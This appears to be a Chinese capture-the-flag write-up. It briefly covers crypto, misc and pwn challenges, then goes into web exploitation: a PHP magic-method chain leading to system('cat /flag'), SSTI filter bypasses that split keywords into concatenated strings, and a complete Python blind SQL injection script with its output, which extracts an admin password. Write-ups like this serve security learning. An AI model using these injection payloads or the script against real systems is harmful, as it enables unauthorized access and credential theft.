首页 > 其他分享 >wp3

wp3

时间:2024-10-10 20:33:23浏览次数:1  
标签:__ T1 flag wp3 字符串 password data

CRYPTO

T1

复数域应用RSA,\(\varphi\) 取 \((p^2-1)(q^2-1)\) .

MISC

T1

摩尔斯电码,用Audacity打开频谱图就能看见了.

PWN

T1

flag1是根目录下的一个程序,添加权限运行;
flag2是一个隐藏文件,文件名:.flag2
flag3在环境变量里.

REVERSE

无事发生.

WEB

T1

PHP的魔术方法:

字符串解析首先进入__destruct(),接着返回的字符串进入__tostring(),然后返回的是函数类型可以进入__invoke(),接着由于指向了不存在的flash就可以触发__get().
最后由于指向的championpoint()函数是私有函数,在外部访问就会触发__call(),然后执行date("Y-m-d H:i:s")命令. 这里只需要将变量kk改为systemRieNs改为cat /flag,即可执行命令system("cat /flag"),获得flag.

T2

SSTI注入+常规字符串绕过. 由于.__class__等效于["__class__"],且一个字符串等效于多个字符串连接,所以.__class__不允许用改成["__cla""ss__"]就好了. 其余关键字同理.

T3

SQL注入. 只是查询错误会显示“查询失败”而不是详细信息罢了. 发现查询字符串password后面连接OR 1<2不回显任何内容,而连接OR 1>2回显“用户名或密码错误!”.
因此,可以设计一个二分的方法逐位推断密码.

点击查看代码
import requests

s = requests.Session()
url = 'http://***/login.php'
flag = ''

def exp(i, j):
    payload = f"or (ascii(substr(password,{i},1))>{j})#"
    data = {
        "username": "admin\\",
        "password": payload
    }
    r = s.post(url, data=data)
    if "用户名或密码错误!" in r.text:
        return False
    else:
        return True

for i in range(1, 100):
    low = 32 
    high = 127
    while (low <= high):
        mid = (low + high)//2
        if (exp(i, mid)):
            low = mid + 1
        else:
            high = mid - 1
    flag += chr((low+high+1)//2)
    print(flag)

运行结果:

点击查看代码
noilinux@noilinux:~/桌面$ python3 a.py
i
in
ins
ins0
ins0m
ins0mn
ins0mn1
ins0mn1a
ins0mn1a0
ins0mn1a09
ins0mn1a090
ins0mn1a0903
ins0mn1a0903H
ins0mn1a0903Ha
ins0mn1a0903Hah
ins0mn1a0903HahA
ins0mn1a0903HahA

出来密码就好办了. 登录后修改链接至根目录即可获取flag.

T4

在T2的基础上增加了禁止使用单引号的规则. 然而双引号可以使用,因此在“引号套引号”的字符串里,将'改为\"即可. 其余禁止使用的关键字还是利用字符串绕过的方法.

标签:__,T1,flag,wp3,字符串,password,data
From: https://www.cnblogs.com/AC1Liu/p/18457072

相关文章

  • JSP基于ssm的校园社团管理系统7wp38程序+源码+数据库+调试部署+开发环境
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表系统功能:用户,医生,医院类型,社区医院,接种疫苗,疫苗类型,预约信息开题报告内容一、项目背景与意义随着高等教育的快速发展,校园社团作为学生第二课堂的重要组......